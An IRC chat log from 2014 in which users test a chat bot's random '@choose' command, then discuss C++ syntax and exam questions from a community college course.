[2014-12-06T21:58:58-0500] <alokpathy> @choose alokpathy or Tamini
[2014-12-06T21:58:58-0500] <awebot> alokpathy: Tamini
[2014-12-06T21:58:58-0500] <The_Master> @choose Tamini or Pikachu
[2014-12-06T21:58:59-0500] <awebot> The_Master: Pikachu
[2014-12-06T21:59:01-0500] <alokpathy> Wow
[2014-12-06T21:59:03-0500] <alokpathy> @choose alokpathy or Tamini
[2014-12-06T21:59:03-0500] <awebot> alokpathy: Tamini
[2014-12-06T21:59:05-0500] <alokpathy> @choose alokpathy or Tamini
[2014-12-06T21:59:05-0500] <awebot> alokpathy: Tamini
[2014-12-06T21:59:07-0500] <alokpathy> @choose alokpathy or Tamini
[2014-12-06T21:59:07-0500] <awebot> alokpathy: Tamini
[2014-12-06T21:59:08-0500] <alokpathy> @choose alokpathy or Tamini
[2014-12-06T21:59:08-0500] <awebot> alokpathy: alokpathy
[2014-12-06T21:59:09-0500] <@awe> alokpathy: lol
[2014-12-06T21:59:14-0500] <alokpathy> :(
[2014-12-06T21:59:47-0500] <+Tamini> lol
[2014-12-06T21:59:50-0500] <+Tamini> you tried.
[2014-12-06T22:00:42-0500] <@awe> @choose bitches or hoes
[2014-12-06T22:00:42-0500] <awebot> awe: hoes
[2014-12-06T22:00:46-0500] <@awe> Good choice, awebot.
[2014-12-06T22:01:21-0500] <alokpathy> @choose bros or hoes
[2014-12-06T22:01:21-0500] <awebot> alokpathy: hoes
[2014-12-06T22:01:23-0500] <alokpathy> wow
[2014-12-06T22:01:28-0500] <alokpathy> so much for bros before hoes
[2014-12-06T22:02:16-0500] <+Tamini> LOL
[2014-12-06T22:02:18-0500] <The_Master> ┌
[2014-12-06T22:03:25-0500] <+ubuntor> @choose or
[2014-12-06T22:03:25-0500] <awebot> ubuntor: or
[2014-12-06T22:03:36-0500] <+ubuntor> @choose or or or
[2014-12-06T22:03:36-0500] <awebot> ubuntor: or
[2014-12-06T22:03:52-0500] <alokpathy> awebot: is trying to kill me
[2014-12-06T22:04:21-0500] <awebot> That's not true!
[2014-12-06T22:04:25-0500] <The_Master> Pikachu
[2014-12-06T22:04:25-0500] <The_Master> ┌   ┐
[2014-12-06T22:04:25-0500] <The_Master> |  I  |
[2014-12-06T22:04:25-0500] <The_Master> | U  |
[2014-12-06T22:04:25-0500] <The_Master> └   ┘
[2014-12-06T22:04:44-0500] <@awe> ubuntor: That worked better than you expected, didn't it?
[2014-12-06T22:04:48-0500] <The_Master> @choose or and or
[2014-12-06T22:04:48-0500] <awebot> The_Master: or and or
[2014-12-06T22:04:54-0500] <The_Master> @choose or nor or
[2014-12-06T22:04:54-0500] <awebot> The_Master: or nor or
[2014-12-06T22:04:59-0500] <+ubuntor> yeah...
[2014-12-06T22:05:01-0500] <+ubuntor> darn
[2014-12-06T22:05:03-0500] <+Tamini> i choose you! :P
[2014-12-06T22:05:05-0500] <+ubuntor> @choose or or
[2014-12-06T22:05:06-0500] <awebot> ubuntor: or or
[2014-12-06T22:05:09-0500] <+ubuntor> hmm
[2014-12-06T22:05:14-0500] <+LittleBobbyTables> @choose or or or or or
[2014-12-06T22:05:14-0500] <awebot> LittleBobbyTables: or
[2014-12-06T22:05:19-0500] <alokpathy> @choose asdf asdf
[2014-12-06T22:05:19-0500] <awebot> alokpathy: asdf asdf
[2014-12-06T22:05:23-0500] <alokpathy> @choose asdf asdf asdfasdf
[2014-12-06T22:05:23-0500] <awebot> alokpathy: asdf asdf asdfasdf
[2014-12-06T22:05:24-0500] <+Tamini> @choose a or b or c or d or e
[2014-12-06T22:05:24-0500] <awebot> Tamini: c
[2014-12-06T22:05:27-0500] <alokpathy> @choose asdf asdf asdfasdfoaiiwrhgaoihgaoirghqowirhgqergg awd fiuadf aoidw foiaqwrif 
[2014-12-06T22:05:27-0500] <awebot> alokpathy: asdf asdf asdfasdfoaiiwrhgaoihgaoirghqowirhgqergg awd fiuadf aoidw foiaqwrif 
[2014-12-06T22:05:31-0500] <+ubuntor> @choose OR or or OR
[2014-12-06T22:05:31-0500] <awebot> ubuntor: OR
[2014-12-06T22:05:38-0500] <+ubuntor> @choose
[2014-12-06T22:05:41-0500] <alokpathy> @choose hi
[2014-12-06T22:05:41-0500] <awebot> alokpathy: hi
[2014-12-06T22:05:42-0500] <The_Master> @chose Ezra, you are my master.
[2014-12-06T22:05:51-0500] <alokpathy> The_Master: lel
[2014-12-06T22:05:53-0500] <+ubuntor> @choose 
[2014-12-06T22:05:53-0500] <awebot> ubuntor: 
[2014-12-06T22:05:56-0500] <alokpathy> it didn't say anything
[2014-12-06T22:05:57-0500] <The_Master> @chose wzra, you are my master.
[2014-12-06T22:06:02-0500] <The_Master> @chose ezra, you are my master.
[2014-12-06T22:06:05-0500] <+ubuntor> s/o/oo/
[2014-12-06T22:06:15-0500] <The_Master> @chose Ezra or The Master
[2014-12-06T22:06:19-0500] <+LittleBobbyTables> @choose or OR or
[2014-12-06T22:06:19-0500] <awebot> LittleBobbyTables: or OR or
[2014-12-06T22:06:29-0500] <The_Master> awebot: doesn't like me.
[2014-12-06T22:06:37-0500] <@awe> The_Master: you're illiterate.
[2014-12-06T22:06:44-0500] <The_Master> awe: awwwe
[2014-12-06T22:06:58-0500] <@awe> It's choose, not chose.
[2014-12-06T22:06:59-0500] <The_Master> @choose chose or choose
[2014-12-06T22:06:59-0500] <awebot> The_Master: choose
[2014-12-06T22:07:02-0500] <@awe> @choose Ezra or The_Master
[2014-12-06T22:07:03-0500] <awebot> awe: The_Master
[2014-12-06T22:07:07-0500] <The_Master> awe your write
[2014-12-06T22:07:15-0500] <@awe> It's you're, not your.
[2014-12-06T22:07:17-0500] <@awe> It's right, not write.
[2014-12-06T22:07:34-0500] <@awe> Stay in school, kid.
[2014-12-06T22:07:36-0500] <The_Master> awe: I no
[2014-12-06T22:07:51-0500] <@awe> @choose cocaine or marijuana
[2014-12-06T22:07:51-0500] <awebot> awe: cocaine
[2014-12-06T22:07:53-0500] <@awe> Oh.
[2014-12-06T22:08:00-0500] <@awe> I've been doing it all wrong, awebot.
[2014-12-06T22:09:12-0500] <The_Master> @help
[2014-12-06T22:09:17-0500] <The_Master> .help
[2014-12-06T22:09:18-0500] <+Tamini> @choose cocain or heroin
[2014-12-06T22:09:18-0500] <awebot> Tamini: cocain
[2014-12-06T22:09:25-0500] <+Tamini> i didnt even spell it right, awebot
[2014-12-06T22:09:27-0500] <+Tamini> LOL
[2014-12-06T22:09:32-0500] <+Tamini> @choose cocaine or heroin
[2014-12-06T22:09:32-0500] <awebot> Tamini: cocaine
[2014-12-06T22:09:43-0500] <+Tamini> ...awe your bot really likes cocaine
[2014-12-06T22:09:47-0500] <The_Master> @choose a or b or c
[2014-12-06T22:09:47-0500] <awebot> The_Master: b
[2014-12-06T22:09:49-0500] <The_Master> @choose a or b or c
[2014-12-06T22:09:49-0500] <awebot> The_Master: a
[2014-12-06T22:09:50-0500] <The_Master> @choose a or b or c
[2014-12-06T22:09:50-0500] <awebot> The_Master: c
[2014-12-06T22:09:54-0500] <alokpathy> @choose a b or c
[2014-12-06T22:09:54-0500] <awebot> alokpathy: a b
[2014-12-06T22:09:58-0500] <The_Master> @choose a or b or c or d
[2014-12-06T22:09:58-0500] <awebot> The_Master: c
[2014-12-06T22:10:03-0500] <alokpathy> @choose a || b
[2014-12-06T22:10:03-0500] <awebot> alokpathy: a || b
[2014-12-06T22:10:06-0500] <alokpathy> @choose a | b
[2014-12-06T22:10:06-0500] <awebot> alokpathy: a | b
[2014-12-06T22:10:10-0500] <The_Master> @choose a or "asdsda
[2014-12-06T22:10:10-0500] <awebot> The_Master: "asdsda
[2014-12-06T22:10:12-0500] <alokpathy> @choose a and b
[2014-12-06T22:10:12-0500] <awebot> alokpathy: a and b
[2014-12-06T22:10:13-0500] <The_Master> @choose a or ")asdsda
[2014-12-06T22:10:13-0500] <awebot> The_Master: a
[2014-12-06T22:10:16-0500] <The_Master> @choose a or ")asdsda
[2014-12-06T22:10:16-0500] <awebot> The_Master: ")asdsda
[2014-12-06T22:10:24-0500] <alokpathy> @choose a b or b c or d
[2014-12-06T22:10:25-0500] <awebot> alokpathy: a b
[2014-12-06T22:10:25-0500] <The_Master> @choose a or "]asdsda
[2014-12-06T22:10:25-0500] <awebot> The_Master: "]asdsda
[2014-12-06T22:10:26-0500] <alokpathy> @choose a b or b c or d
[2014-12-06T22:10:27-0500] <awebot> alokpathy: d
[2014-12-06T22:10:28-0500] <alokpathy> @choose a b or b c or d
[2014-12-06T22:10:28-0500] <awebot> alokpathy: b c
[2014-12-06T22:10:35-0500] <+jwoglom> @choose @choose
[2014-12-06T22:10:35-0500] <awebot> jwoglom: @choose
[2014-12-06T22:10:46-0500] <alokpathy> @choose @choose a or b
[2014-12-06T22:10:46-0500] <awebot> alokpathy: @choose a
[2014-12-06T22:10:54-0500] <The_Master> @choose Ezra is my master.
[2014-12-06T22:10:54-0500] <awebot> The_Master: Ezra is my master.
[2014-12-06T22:10:55-0500] <+jwoglom> awww no recursion
[2014-12-06T22:11:06-0500] <The_Master> jwoglom: *awwwe
[2014-12-06T22:11:19-0500] <alokpathy> lol recursion would be kinda silly here though
[2014-12-06T22:11:29-0500] <alokpathy> it'd literally be the same thing over and over again xD
[2014-12-06T22:11:39-0500] <+jwoglom> but that'd be fun!
[2014-12-06T22:11:46-0500] <+jwoglom> i'd be in awe of that
[2014-12-06T22:12:17-0500] <@awe> lol
[2014-12-06T22:12:33-0500] <@awe> jwoglom: wouldn't make sense because @choose returns one thing
[2014-12-06T22:12:40-0500] <+jwoglom> someone's got to have made that bad pun before
[2014-12-06T22:12:41-0500] <@awe> jwoglom: so @choose on the result of @choose on anything would be the one thing.
[2014-12-06T22:12:53-0500] <@awe> Hey, guys.
[2014-12-06T22:12:55-0500] <@awe> http://www.around.com/ariane.html
[2014-12-06T22:15:23-0500] <@awe> A 64-bit downcast to 16-bit caused a rocket to explode.
[2014-12-06T22:17:04-0500] <+ubuntor> well then...
[2014-12-06T22:19:09-0500] <JacobEdelman> http://1be76339.ngrok.com/mine.html
[2014-12-06T22:19:12-0500] <JacobEdelman> look at that
[2014-12-06T22:19:13-0500] <JacobEdelman> http://1be76339.ngrok.com/mine.html
[2014-12-06T22:19:17-0500] <JacobEdelman> its so pretty
[2014-12-06T22:20:42-0500] <JacobEdelman> awe alokpathy look at that site
[2014-12-06T22:21:18-0500] <@awe> Gimmicky as hell.
[2014-12-06T22:21:20-0500] <@awe> Not actually useful.
[2014-12-06T22:21:41-0500] <+jwoglom> JacobEdelman: >I'm a high school students 
[2014-12-06T22:21:42-0500] <bob_twinkles> lol I have noscript so I was really confused for a second there
[2014-12-06T22:21:50-0500] <+jwoglom> bob_twinkles: you use noscript?
[2014-12-06T22:21:52-0500] <JacobEdelman> .... I'm so happy thats not live
[2014-12-06T22:21:59-0500] <bob_twinkles> jwoglom: yes I enjoy watching everything break
[2014-12-06T22:22:01-0500] <+jwoglom> how the hell do you use the internet
[2014-12-06T22:22:16-0500] <bob_twinkles> brokenly
[2014-12-06T22:22:38-0500] <bob_twinkles> most of the time you can read the content even with broken formating
[2014-12-06T22:23:24-0500] <@awe> JacobEdelman: http://ghv.artzub.com/#user=aaronweiss74
[2014-12-06T22:24:24-0500] <@awe> JacobEdelman: Mine is much more interesting.
[2014-12-06T22:25:18-0500] <JacobEdelman> awe: oooh, pretty
[2014-12-06T22:25:31-0500] <@awe> But yeah, this website is super gimmicky and I hate it.
[2014-12-06T22:25:36-0500] <@awe> Not the visualizer.
[2014-12-06T22:25:38-0500] <@awe> Your website.
[2014-12-06T22:26:20-0500] <JacobEdelman> good bye
[2014-12-06T22:26:29-0500] <JacobEdelman> ahh... I thought mine is pretty
[2014-12-06T22:26:33-0500] <JacobEdelman> its unusual
[2014-12-06T22:26:37-0500] <JacobEdelman> and easy to navigate
[2014-12-06T22:28:09-0500] <alokpathy> JacobEdelman: IKEA effect
[2014-12-06T22:28:37-0500] <alokpathy> People tend to overvalue things they make. 
[2014-12-06T22:30:25-0500] <@awe> JacobEdelman: It doesn't look terrible, it's just an ineffective use of my screen space.
[2014-12-06T22:30:38-0500] <@awe> JacobEdelman: and I don't gain any particular benefit from it.
[2014-12-06T22:53:14-0500] <+LittleBobbyTables> bob_twinkles: 
[2014-12-06T22:53:30-0500] <bob_twinkles> LittleBobbyTables: ?
[2014-12-06T22:53:39-0500] <+LittleBobbyTables> Wanna do my c++ final for me
[2014-12-06T22:53:48-0500] <+LittleBobbyTables> 34 questions that I'm too lazy to do.
[2014-12-06T22:54:02-0500] <bob_twinkles> no I'm learning dart and have a 5 page paper due monday
[2014-12-06T22:54:12-0500] <+LittleBobbyTables> So is that a yes?
[2014-12-06T22:54:29-0500] <bob_twinkles> messages[-2][0:2]
[2014-12-06T22:54:57-0500] <+Tamini> oh wait bob_twinkles
[2014-12-06T22:55:02-0500] <+Tamini> you actually started your paper early? :O
[2014-12-06T22:55:06-0500] <+LittleBobbyTables> "3:54 AM <bob_twinkles> no I'm learning dart and have a 5 page paper due monday"[0:2] -> 3:
[2014-12-06T22:55:49-0500] <bob_twinkles> tamini: the quantum thing? I haven't even looked at that since Thursday
[2014-12-06T22:56:16-0500] <+Tamini> no i meant the paper you have due monday
[2014-12-06T22:56:16-0500] <+Tamini> :P
[2014-12-06T22:56:25-0500] <+Tamini> 3 is obviously true
[2014-12-06T22:57:14-0500] <bob_twinkles> LittleBobbyTables: if you wanna be like that it would be ":irc"
[2014-12-06T22:57:27-0500] <+LittleBobbyTables> :P
[2014-12-06T22:57:34-0500] <+LittleBobbyTables> Also uhh
[2014-12-06T22:57:46-0500] <+LittleBobbyTables> Can you look at this one question
[2014-12-06T22:57:52-0500] <+LittleBobbyTables> That I'm 99% sure is stupidly worded?
[2014-12-06T22:58:04-0500] <bob_twinkles> uh
[2014-12-06T22:58:11-0500] <bob_twinkles> isn't there some "no sharing" restriction?
[2014-12-06T22:58:19-0500] <+LittleBobbyTables> No
[2014-12-06T22:58:27-0500] <bob_twinkles> sure
[2014-12-06T22:58:34-0500] <+LittleBobbyTables> https://www.irccloud.com/pastebin/AkJGkRC5
[2014-12-06T22:58:45-0500] <+LittleBobbyTables> }while...; is the final part of the question
[2014-12-06T22:58:49-0500] <+LittleBobbyTables> 4 are multiple choice
[2014-12-06T22:59:07-0500] <@awe> http://rr-project.org
[2014-12-06T22:59:12-0500] <+LittleBobbyTables> That just seems terribly worded, but it's b, right
[2014-12-06T23:00:27-0500] <bob_twinkles> a would technically work
[2014-12-06T23:00:36-0500] <bob_twinkles> but yeah, I think so
[2014-12-06T23:00:57-0500] <+LittleBobbyTables> A I don't think would work though, right?
[2014-12-06T23:01:07-0500] <+LittleBobbyTables> Cause do while's go through once automatically
[2014-12-06T23:01:14-0500] <+LittleBobbyTables> So the check would be 2009<1020
[2014-12-06T23:01:16-0500] <+LittleBobbyTables> 2010*
[2014-12-06T23:01:22-0500] <@awe> bob_twinkles: if you want to be technical, it would be :i not :irc.
[2014-12-06T23:01:25-0500] <bob_twinkles> eventually you'd hit INT_MIN and wrap around to INT_MAX
[2014-12-06T23:01:30-0500] <+LittleBobbyTables> Ahh true.
[2014-12-06T23:01:44-0500] <+LittleBobbyTables> She never taught that though, so I assume she wants b
[2014-12-06T23:01:50-0500] <+LittleBobbyTables> idk, she's bad at wording some questions sometimes.
[2014-12-06T23:02:06-0500] <bob_twinkles> awe: oh derp
[2014-12-06T23:02:29-0500] <+Tamini> lol underflow
[2014-12-06T23:03:52-0500] <+LittleBobbyTables> Like this one
[2014-12-06T23:04:08-0500] <+LittleBobbyTables> tl;dr, int x y z, cin x y z, entered 11, 22, 33, 99
[2014-12-06T23:04:36-0500] <+LittleBobbyTables> But she's like "assume it's in a working program and won't error out"
[2014-12-06T23:05:55-0500] <bob_twinkles> actually it would be ":b" I got my irc wire protocol wrong
[2014-12-06T23:07:47-0500] <@awe> bob_twinkles: oh, well, yeah.
[2014-12-06T23:07:54-0500] <@awe> messages come from the user source
[2014-12-06T23:08:10-0500] <@awe> :bob_twinkles!bob_twinkle@pdgn-8v2.eg0.mu5588.IP PRIVMSG #pdgn :no I'm learning dart and have a 5 page paper due monday
[2014-12-06T23:08:10-0500] <@awe> :LittleBobbyTables!sid33285@pdgn-5ih.9lf.7cuf9e.IP PRIVMSG #pdgn :So is that a yes?
[2014-12-06T23:08:10-0500] <@awe> :bob_twinkles!bob_twinkle@pdgn-8v2.eg0.mu5588.IP PRIVMSG #pdgn :messages[-2][0:2]
[2014-12-06T23:08:15-0500] <@awe> Those were the raw messages.
[2014-12-06T23:08:26-0500] <bob_twinkles> yep
[2014-12-06T23:08:30-0500] <bob_twinkles> /server raw
[2014-12-06T23:08:33-0500] <bob_twinkles> yay for weechat
[2014-12-06T23:08:52-0500] <@awe> Yay for awebot.
[2014-12-06T23:17:02-0500] <+LittleBobbyTables> https://www.irccloud.com/pastebin/oyRIxgRJ
[2014-12-06T23:17:05-0500] <+LittleBobbyTables> like wtf
[2014-12-06T23:17:07-0500] <+LittleBobbyTables> Is she even trying to ask
[2014-12-06T23:17:50-0500] <bob_twinkles> it'll work
[2014-12-06T23:17:58-0500] <bob_twinkles> the output will be weird as shit though
[2014-12-06T23:18:07-0500] <bob_twinkles> (assuming you've got using std; somewhere)
[2014-12-06T23:18:29-0500] <+LittleBobbyTables> I have no idea what she's even trying to ask lol
[2014-12-06T23:18:59-0500] <bob_twinkles> I think "is this a syntaxically correct C++ code segment"
[2014-12-06T23:19:23-0500] <bob_twinkles> which it will
[2014-12-06T23:19:28-0500] <+LittleBobbyTables> Hmm. Alright
[2014-12-06T23:19:36-0500] <bob_twinkles> but it'll print /n instead of the (presumably intended \n)
[2014-12-06T23:19:42-0500] <bob_twinkles> so maybe she wants no?
[2014-12-06T23:19:44-0500] • bob_twinkles: shrugs
[2014-12-06T23:19:53-0500] <+LittleBobbyTables> Meh
[2014-12-06T23:19:55-0500] <+LittleBobbyTables> She has uhh
[2014-12-06T23:20:08-0500] <+LittleBobbyTables> https://www.irccloud.com/pastebin/skrPdQVj
[2014-12-06T23:20:08-0500] <+LittleBobbyTables> as well
[2014-12-06T23:20:33-0500] <bob_twinkles> ... that's not a question
[2014-12-06T23:20:51-0500] <+LittleBobbyTables> Dude I hate this teacher so much
[2014-12-06T23:20:57-0500] <+LittleBobbyTables> It's why I didn't want to do the final :/
[2014-12-06T23:21:00-0500] <bob_twinkles> is it true false?
[2014-12-06T23:21:04-0500] <+LittleBobbyTables> yea
[2014-12-06T23:21:07-0500] <bob_twinkles> if so that's actually a clever question
[2014-12-06T23:21:29-0500] <+LittleBobbyTables> cause if choice = 'a' checks if choice can get initialized to a, right?
[2014-12-06T23:21:38-0500] <bob_twinkles> ...no
[2014-12-06T23:22:05-0500] <+LittleBobbyTables> Must be a different language I'm thinking of...
[2014-12-06T23:22:33-0500] <@awe> LittleBobbyTables: I don't think that's specified behavior.
[2014-12-06T23:22:43-0500] <bob_twinkles> it is actually (at least in C)
[2014-12-06T23:22:51-0500] <bob_twinkles> you see it all the time in UNIX code examples
[2014-12-06T23:23:13-0500] <+LittleBobbyTables> So is it true or false? P
[2014-12-06T23:23:14-0500] <+LittleBobbyTables> :P*
[2014-12-06T23:23:15-0500] <bob_twinkles> if ((pid = fork() < 0) { /* handle error */ }
[2014-12-06T23:23:24-0500] <bob_twinkles> false, but not for the reason you said
[2014-12-06T23:23:32-0500] <+LittleBobbyTables> Hmm
[2014-12-06T23:23:40-0500] <+LittleBobbyTables> What is the reason then?
[2014-12-06T23:23:46-0500] <bob_twinkles> the = operator performs the assignment and then returns the value that was assigned
[2014-12-06T23:23:51-0500] <@awe> does it?
[2014-12-06T23:23:56-0500] <+LittleBobbyTables> ah
[2014-12-06T23:24:09-0500] <+LittleBobbyTables> idk
[2014-12-06T23:24:12-0500] <+LittleBobbyTables> If I get a couple wrong
[2014-12-06T23:24:19-0500] <+LittleBobbyTables> I'm going to blame her for wording things bad
[2014-12-06T23:24:20-0500] <bob_twinkles> I don't remember if it's actually the rhs or the lhs or an implicitly copy
[2014-12-06T23:24:31-0500] <+LittleBobbyTables> and prove that what she typed works for the answer I gave
[2014-12-06T23:24:31-0500] <+LittleBobbyTables> lol
[2014-12-06T23:24:36-0500] <+LittleBobbyTables> also uhh
[2014-12-06T23:24:57-0500] <+LittleBobbyTables> floats and doubles, both equal to the same thing, 123.456, would have different sizes right
[2014-12-06T23:25:03-0500] <@awe> Yeah.
[2014-12-06T23:25:19-0500] <bob_twinkles> oops, I accidentally a paren
[2014-12-06T23:25:32-0500] <bob_twinkles> that should have been ((pid = fork()) < 0) 
[2014-12-06T23:25:37-0500] <+LittleBobbyTables> We understood though :p
[2014-12-06T23:25:52-0500] <+LittleBobbyTables> Oh
[2014-12-06T23:25:54-0500] <+LittleBobbyTables> another thing
[2014-12-06T23:25:59-0500] <+LittleBobbyTables> I don't remember exactly what she was doing
[2014-12-06T23:26:01-0500] <bob_twinkles> heh, the C compiler wouldn't
[2014-12-06T23:26:27-0500] <@awe> bob_twinkles: assignment returns a reference to itself
[2014-12-06T23:26:29-0500] <+LittleBobbyTables> But she was doing a "if (x % y) == 0"
[2014-12-06T23:26:38-0500] <+LittleBobbyTables> And couldn't figure out why the thing was broken
[2014-12-06T23:26:48-0500] <@awe> bob_twinkles: pid = fork() is equivalent to saying pid
[2014-12-06T23:26:54-0500] <+LittleBobbyTables> And she was sitting there for 10 minutes like "this should be working"
[2014-12-06T23:27:05-0500] <bob_twinkles> awe: ah, ok
[2014-12-06T23:27:06-0500] <@awe> bob_twinkles: well, to giving a reference to pid, rather.
[2014-12-06T23:27:41-0500] <@awe> although, it can be overridden for lulz.
[2014-12-06T23:27:53-0500] <@awe> You can have it return random :D
[2014-12-06T23:28:13-0500] <bob_twinkles> not.. particularly useful
[2014-12-06T23:28:26-0500] <@awe> particularly useful for fucking with someone.
[2014-12-06T23:28:40-0500] <@awe> or uhh
[2014-12-06T23:29:02-0500] <@awe> defining true to be a random boolean.
[2014-12-06T23:29:34-0500] <bob_twinkles> #define true ((rand() % 2)
[2014-12-06T23:29:59-0500] <+LittleBobbyTables> that's mean
[2014-12-06T23:30:08-0500] <bob_twinkles> it's eduactional
[2014-12-06T23:30:14-0500] <+LittleBobbyTables> that's mean
[2014-12-06T23:30:31-0500] <+LittleBobbyTables> Also, isn't it True? Or is that Python only
[2014-12-06T23:30:55-0500] <@awe> std::string& operator= (Foo a) {return (std::string&) (rand() << 16) | rand();}
[2014-12-06T23:31:00-0500] <bob_twinkles> it's "true" in C++ and C variants that support stdbool
[2014-12-06T23:31:24-0500] <+LittleBobbyTables> And you have one too many open or one too failed closed parenthesis
[2014-12-06T23:31:41-0500] <bob_twinkles> awe: is that even valid C++
[2014-12-06T23:31:43-0500] <@awe> Yes.
[2014-12-06T23:31:55-0500] <@awe> Why wouldn't it be?
[2014-12-06T23:31:57-0500] <@awe> C++ is disgusting.
[2014-12-06T23:32:08-0500] <@awe> (I actually don't know. My friend wrote it.)
[2014-12-06T23:32:09-0500] <bob_twinkles> well 1 mismatched parens
[2014-12-06T23:32:31-0500] <bob_twinkles> and 2, I don't _think_ you can directly construct references like that
[2014-12-06T23:33:11-0500] <bob_twinkles> er... hm
[2014-12-06T23:33:15-0500] <@awe> mismatched parens?
[2014-12-06T23:33:17-0500] <@awe> Where?
[2014-12-06T23:33:53-0500] <bob_twinkles> I misread it, they are matched
[2014-12-06T23:35:42-0500] <bob_twinkles> yeah that doesn't compile
[2014-12-06T23:36:37-0500] <+LittleBobbyTables> I don't know vectors whatsoever
[2014-12-06T23:36:39-0500] <+LittleBobbyTables> https://www.irccloud.com/pastebin/TGyj0oZG
[2014-12-06T23:36:56-0500] <bob_twinkles> if you changed all the &s to *s it would though
[2014-12-06T23:37:19-0500] <bob_twinkles> what the fuck all of her coding style
[2014-12-06T23:37:22-0500] <bob_twinkles> it's all... wrong
[2014-12-06T23:38:03-0500] <+LittleBobbyTables> I have no idea dude
[2014-12-06T23:38:37-0500] <+LittleBobbyTables> She's the only programming teacher, and I figured I'd rather take c++, which I knew better than obj-c and C#
[2014-12-06T23:39:13-0500] <bob_twinkles> also you don't even need to know the std::vector API to answer that question
[2014-12-06T23:39:57-0500] <+LittleBobbyTables> I dunno if vectors were weird or not
[2014-12-06T23:40:57-0500] <+LittleBobbyTables> I'd assume false, cause double sales2[5] would hold 5?
[2014-12-06T23:40:59-0500] <@awe> LittleBobbyTables: C# is ez.
[2014-12-06T23:41:26-0500] <+LittleBobbyTables> awe: I'd rather learn C++, cause work uses it a lot more than C# :P
[2014-12-06T23:41:39-0500] <@awe> We use C# exclusively. ;)
[2014-12-06T23:42:59-0500] <bob_twinkles> wait I read that as "double sales2[4]"
[2014-12-06T23:43:15-0500] <bob_twinkles> vectors are not weird, the first parameter is the initial length
[2014-12-06T23:43:33-0500] <+LittleBobbyTables> https://www.irccloud.com/pastebin/YIF9g5r1
[2014-12-06T23:43:54-0500] <+LittleBobbyTables> EZ question but
[2014-12-06T23:44:05-0500] <+LittleBobbyTables> code isn't even uniform
[2014-12-06T23:44:06-0500] <+LittleBobbyTables> :/
[2014-12-06T23:44:56-0500] <+Tamini> what even
[2014-12-06T23:45:19-0500] <bob_twinkles> and even the correct answer is "wrong" in the sense that in any real application you would probably want to pass the string as a reference
[2014-12-06T23:45:34-0500] <+LittleBobbyTables> mhm
[2014-12-06T23:45:35-0500] <bob_twinkles> const reference if you're not gonna modify it
[2014-12-06T23:45:42-0500] <+LittleBobbyTables> But as I said, she's the only teacher.
[2014-12-06T23:46:09-0500] <+LittleBobbyTables> This old dude that started programming in ASM (he's that old, went through COBOL and all that jazz) kept correcting her in everything
[2014-12-06T23:46:13-0500] <+LittleBobbyTables> Then just eventually gave up
[2014-12-06T23:46:43-0500] <bob_twinkles> wait why was he taking the class if he clearly already knew C++
[2014-12-06T23:46:58-0500] <bob_twinkles> or at least is good enough of a programmer that he doesn't need a class to teach him a language =P
[2014-12-06T23:46:58-0500] <+LittleBobbyTables> Wanted the degree
[2014-12-06T23:47:09-0500] <bob_twinkles> heh
[2014-12-06T23:47:17-0500] <+LittleBobbyTables> I think there was something like
[2014-12-06T23:47:18-0500] <+LittleBobbyTables> int a;
[2014-12-06T23:47:36-0500] <+LittleBobbyTables> Where they were arguing whether or not a was initialized to 0 on the stack or heap
[2014-12-06T23:47:57-0500] <bob_twinkles> -_-
[2014-12-06T23:48:13-0500] <bob_twinkles> either the stack or somewhere not the heap
[2014-12-06T23:48:13-0500] <+LittleBobbyTables> Take a guess which side she chose
[2014-12-06T23:48:26-0500] <bob_twinkles> the one it could not ever possibly be?
[2014-12-06T23:48:43-0500] <+LittleBobbyTables> "none of them, its always random unless you initialize it to a number"
[2014-12-06T23:48:59-0500] <bob_twinkles> well, if it was a stack variable that's correct I suppose
[2014-12-06T23:49:15-0500] <@awe> How long does IDA's pseudocode thing take?
[2014-12-06T23:49:32-0500] <+LittleBobbyTables> He was like "Yeah, that happens on the stack, but not on the heap"
[2014-12-06T23:49:45-0500] <+LittleBobbyTables> And she was like "no that's not true", and I don't think she even knew what the heap was.
[2014-12-06T23:50:19-0500] <bob_twinkles> if it was a function local then she would be correct actually
[2014-12-06T23:50:37-0500] <bob_twinkles> it's on the stack, but it's not initialized
[2014-12-06T23:50:38-0500] <+LittleBobbyTables> It wasn't
[2014-12-06T23:50:49-0500] <+LittleBobbyTables> This was like
[2014-12-06T23:50:51-0500] <+LittleBobbyTables> The third class I think'
[2014-12-06T23:51:00-0500] <bob_twinkles> was it a global?
[2014-12-06T23:51:20-0500] <+LittleBobbyTables> Yeah
[2014-12-06T23:51:35-0500] <+LittleBobbyTables> At least
[2014-12-06T23:51:42-0500] <+LittleBobbyTables> Right in the main are globals, right?
[2014-12-06T23:51:55-0500] <bob_twinkles> no, that's a function local
[2014-12-06T23:51:59-0500] <bob_twinkles> like
[2014-12-06T23:52:02-0500] <bob_twinkles> int main (void) {
[2014-12-06T23:52:03-0500] <bob_twinkles>  int x;
[2014-12-06T23:52:05-0500] <bob_twinkles> }
[2014-12-06T23:52:06-0500] <+LittleBobbyTables> ye
[2014-12-06T23:52:12-0500] <+LittleBobbyTables> I swear those were globals
[2014-12-06T23:52:16-0500] <bob_twinkles> nope
[2014-12-06T23:52:23-0500] <bob_twinkles> a global variable would be like
[2014-12-06T23:52:24-0500] <bob_twinkles> int x;
[2014-12-06T23:52:35-0500] <bob_twinkles> int main () { /* stufF */ }
[2014-12-06T23:52:45-0500] <+LittleBobbyTables> right
[2014-12-06T23:53:09-0500] <+LittleBobbyTables> hmm. I don't remember exactly how it was, I think she may have just been talking about it itself (int a;) and not in anything
[2014-12-06T23:53:25-0500] <+LittleBobbyTables> If not, it was definitely a function local then, cause this was one of the earlier classes
[2014-12-06T23:53:34-0500] <bob_twinkles> then you can't say anything meaningful about it
[2014-12-06T23:54:07-0500] <+LittleBobbyTables> 23 more questions left to do
[2014-12-06T23:54:09-0500] <bob_twinkles> but if it's in function scope then it's on the stack and not initialized
[2014-12-06T23:54:12-0500] <+LittleBobbyTables> And I'm too lazy
[2014-12-06T23:54:19-0500] <+LittleBobbyTables> Wanna make 5 bucks
[2014-12-06T23:54:52-0500] <bob_twinkles> I'm like 90% sure that would be an honor code violation =P
[2014-12-06T23:55:14-0500] <+LittleBobbyTables> Only if you tell
[2014-12-06T23:55:25-0500] <bob_twinkles> that's not how that works -_-
[2014-12-06T23:56:20-0500] <+LittleBobbyTables> Doesn't say anything in the syllabus
[2014-12-06T23:56:23-0500] <+LittleBobbyTables> Obviously allowed.
[2014-12-06T23:56:36-0500] <bob_twinkles> usually honor codes are school-wide
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[2014-12-06T23:59:29-0500] <@awe> bob_twinkles: he goes to a community college
